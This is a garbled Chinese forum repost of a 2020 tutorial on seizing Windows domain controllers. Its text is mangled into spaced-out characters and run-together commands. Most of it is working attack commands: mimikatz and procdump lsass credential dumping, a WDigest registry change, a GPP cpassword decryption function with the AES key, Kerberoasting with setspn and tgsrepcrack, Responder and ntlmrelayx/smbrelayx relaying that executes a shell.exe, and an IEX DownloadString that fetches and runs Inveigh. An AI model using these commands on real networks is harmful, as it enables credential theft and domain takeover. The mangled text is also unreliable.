[125] 2020-01-19_域渗透中一些获取域控的方法

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-15
2020-01-19_域渗透中一些获取域控的方法   A d m i n   T e a m   2 0 2 0 - 0 1 - 1 9   l s a s s . e x e   m i m i k a t z     m i m i k a t z   p r o c d u m p + m i m i k a t z     l s a s s . e x e m i m i k a t z l s a s s . d m p w i n d o w s   s e r v e r   2 0 1 2 U s e L o g o n C r e d e n t i a l 1 p o w e r s h e l l p r i v i l e g e : : d e b u g     #   s e k u r l s a : : l o g o n p a s s w o r d s p r o c d u m p 6 4 . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   l s a s s . d m p m i m i k a t z . e x e   " s e k u r l s a : : m i n i d u m p   l s a s s . d m p "   " s e k u r l s a : : l o g o n P a s s w o r d s   f u l l "     >   1 . t x t r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f F u n c t i o n   L o c k - W o r k S t a t i o n   { $ s i g n a t u r e   =   @ " [ D l l I m p o r t ( " u s e r 3 2 . d l l " ,   S e t L a s t E r r o r   =   t r u e ) ]
S Y S V O L S Y S V O L 访 S Y S V O L g r o u p s . x m l g r o u p s . x m l A E S - 2 5 6 A E S p o w e r s h e l l : p u b l i c   s t a t i c   e x t e r n   b o o l   L o c k W o r k S t a t i o n ( ) ; " @ $ L o c k W o r k S t a t i o n   =   A d d - T y p e   - m e m b e r D e f i n i t i o n   $ s i g n a t u r e   - n a m e   " W i n 3 2 L o c k W o r k S t a t i o n "   - n a m e s p a c e   W i n 3 2 F u n c t i o n s   - p a s s t h r u $ L o c k W o r k S t a t i o n : : L o c k W o r k S t a t i o n ( )   |   O u t - N u l l } L o c k - W o r k S t a t i o n < D O M A I N > S Y S V O L < D O M A I N > f u n c t i o n   G e t - D e c r y p t e d C p a s s w o r d   {         [ C m d l e t B i n d i n g ( ) ]         P a r a m   (                                 [ s t r i n g ]   $ C p a s s w o r d  
              )                   t r y   {                         # A p p e n d   a p p r o p r i a t e   p a d d i n g   b a s e d   o n   s t r i n g   l e n g t h                                       $ M o d   =   ( $ C p a s s w o r d . l e n g t h   %   4 )                     s w i t c h ( $ M o d ) {                   ' 1 ' { $ C p a s s w o r d = $ C p a s s w o r d . S u b s t r i n g ( 0 , $ C p a s s w o r d . L e n g t h   - 1 ) }                   ' 2 '   { $ C p a s s w o r d   + =   ( ' = '   *   ( 4   -   $ M o d ) ) }                   ' 3 '   { $ C p a s s w o r d   + =   ( ' = '   *   ( 4   -   $ M o d ) ) }                 }                           $ B a s e 6 4 D e c o d e d   =   [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ C p a s s w o r d )                         # C r e a t e   a   n e w   A E S   . N E T   C r y p t o   O b j e c t   $ A e s O b j e c t = N e w - O b j e c t   S y s t e m . S e c u r i t y . C r y p t o g r a p h y . A e s C r y p t o S e r v i c e P r o v i d e r     [ B y t e [ ] ] $ A e s K e y =   @ ( 0 x 4 e , 0 x 9 9 , 0 x 0 6 , 0 x e 8 , 0 x f c , 0 x b 6 , 0 x 6 c , 0 x c 9 , 0 x f a , 0 x f 4 , 0 x 9 3 , 0 x 1 0 , 0 x 6 2 , 0 x 0 f , 0 x f e , 0 x e 8 , 0 x f 4 , 0 x 9 6 , 0 x e 8 , 0 x 0 6 , 0 x c c , 0 x 0 5 , 0 x 7 9 , 0 x 9 0 , 0 x 2 0 , 0 x 9 b , 0 x 0 9 , 0 x a 4 , 0 x 3 3 , 0 x b 6 , 0 x 6 c , 0 x 1 b )                           # S e t   I V   t o   a l l   n u l l s   t o   p r e v e n t   d y n a m i c   g e n e r a t i o n   o f   I V   v a l u e           $ A e s I V   =   N e w - O b j e c t   B y t e [ ] ( $ A e s O b j e c t . I V . L e n g t h )           $ A e s O b j e c t . I V   =   $ A e s I V           $ A e s O b j e c t . K e y   =   $ A e s K e y           $ D e c r y p t o r O b j e c t   =   $ A e s O b j e c t . C r e a t e D e c r y p t o r ( )   [ B y t e [ ] ] $ O u t B l o c k =   $ D e c r y p t o r O b j e c t . T r a n s f o r m F i n a l B l o c k ( $ B a s e 6 4 D e c o d e d , 0 ,         $ B a s e 6 4 D e c o d e d . l e n g t h )                         r e t u r n   [ S y s t e m . T e x t . U n i c o d e E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( $ O u t B l o c k )         }         c a t c h   { W r i t e - E r r o r   $ E r r o r [ 0 ] } }
S Y S O V L K e r b e r o a s t i n g S P N ( M S S Q L , H T T P ) S P N k e r b e r o s R C 4 _ H M A C _ M D 5 T G S 线 使 s e t s p n s p n ( w i n d o w s 7 s e r v e r 2 0 0 8 ) S P N t e s t S P N G e t - D e c r y p t e d C p a s s w o r d   " I 0 v K 3 Y j 0 S e o H Q D x F 5 s k c j t 3 B O k M Z m X 6 I i q R V K C T o 4 Z 4 " 1 . K B 2 9 6 2 4 8 6 2 . S Y S V O L g r o u p s . x m l 3 . S Y S V O L s e t s p n . e x e   - q   * / * s e t s p n . e x e   - T   t e s t . c o m   - q   * / *
C N C o m p u t e r s U s e r s s p n k e r b e r o a s t P o w e r V i e w h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / b l o b / d e v / R e c o n / P o w e r V i e w . p s 1 M S S Q L S P N c s c r i p t   G e t U s e r S P N s . v b s G e t - N e t U s e r   - s p n   - A d m i n C o u n t | S e l e c t   n a m e , w h e n c r e a t e d , p w d l a s t s e t , l a s t l o g o n s e t s p n . e x e   - A   M S S Q L S v c / W I N - M 3 4 U C F J I P N Q . t e s t . c o m   t e s t . c o m f a n x i n g k e r b e r o s R C 4 _ H M A C _ M D 5
m i m i k a t z T G S k l i s t $ S P N N a m e   =   ' M S S Q L S v c / W I N - M 3 4 U C F J I P N Q . t e s t . c o m ' A d d - T y p e   - A s s e m b l y N A m e   S y s t e m . I d e n t i t y M o d e l N e w - O b j e c t   S y s t e m . I d e n t i t y M o d e l . T o k e n s . K e r b e r o s R e q u e s t o r S e c u r i t y T o k e n   - A r g u m e n t L i s t   $ S P N N a m e
使 t g s r e p c r a c k . p y N T M L N T M L - H a s h 1 6 c h a l l e n g e N e t - N T M L   H a s h h a s h N T M L n t m l 使 L L M N R / N e t N S w i n d o w s 0 x 0 1 s m b k e r b e r o s : : l i s t   / e x p o r t p y t h o n   t g s r e p c r a c k . p y   w o r d l i s t . t x t   m s s q l . k i r b i 1 . 2 . ( c h a l l e n g e ) n t m l h a s h D E S c h a l l e n g e ( c h a l l e n g e 1 ) c h a l l e n g e 3 . c h a l l e n g e D E S ( r e s p o n s e ) 4 . r e s p o n s e c h a l l e n g e 1 1 . H O S T S ( c : / w i n d o w s / s y s t e m 3 2 / d r i v e r / e t c / h o s t s ) 2 . D N S ( i p c o n f i g   / d i s p l a y d n s ) 3 . d n s 4 . L L M N R 5 . N e t B i o s - N S 1 . s m b
n m a p 0 x 0 2 R e s p o n d e r + n t m l r e l a y x n t m l v 2   h a s h 1 . s m b 2 . m s 0 8 - 0 6 8 x p / 2 0 0 3 n m a p   - s T   - p   4 4 5   - - o p e n   - - s c r i p t   s m b - s e c u r i t y - m o d e , s m b - o s - d i s c o v e r y   1 9 2 . 1 6 8 . 5 0 . 2 4 1   p y t h o n   R e s p o n d e r . p y   - I   e t h 0   - v         # i p 1 9 2 . 1 6 8 . 5 0 . 6 4 d i r   1 9 2 . 1 6 8 . 5 0 . 6 4 c $
使 n t m l r e l a y x R e s p o n d e r . c o n f S M B H T T P O f f 0 x 0 3 s m b r e l a y x 使 s m b r e l a y x n t m l r e l a y x i m p a c k e t p y t h o n   R e s p o n d e r . p y   - I   e t h 0   - v         # R e s p o n d e r i p 1 9 2 . 1 6 8 . 5 0 . 6 4 p y t h o n   n t l m r e l a y x . p y   - t   1 9 2 . 1 6 8 . 5 0 . 2 4 1       #   - t n e t   u s e 1 9 2 . 1 6 8 . 5 0 . 6 4 c $   " f x @ 1 2 3 . c o m "   / u s e r : " a d m i n i s t r a t o r "       #   p i p   i n s t a l l   p y c r y p t o         #   a p t
m s f m e t e r p r e t e r 0 x 0 4 W i n d o w s w i n d o w s p o w e r s h e l l I n v e i g h - g e t   - - r e i n s t a l l   i n s t a l l   p y t h o n - p y a s n 1   p y t h o n - p y a s n 1 - m o d u l e s c d   i m p a c k e t / p y t h o n   s e t u p . p y   i n s t a l l #   - h - e e x e p y t h o n   s m b r e l a y x . p y   - h   1 9 2 . 1 6 8 . 5 0 . 2 4 1   - e   / r o o t / s h e l l . e x e n e t   u s e 1 9 2 . 1 6 8 . 5 0 . 6 4 c $   " f x @ 1 2 3 . c o m "   / u s e r : " a d m i n i s t r a t o r " p o w e r s h e l l   " I E X   ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / K e v i n - R o b e r t s o n / I n v e i g h / m a s t e r / I n v e i g h . p s 1 ' ) ; I n v o k e - I n v e i g h   - c o n s o l e o u t p u t   Y   F i l e O u t p u t   Y " d i r   1 9 2 . 1 6 8 . 5 0 . 2 4 2 c $       H T T P < i m g > < i m g   > H T T P 访
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则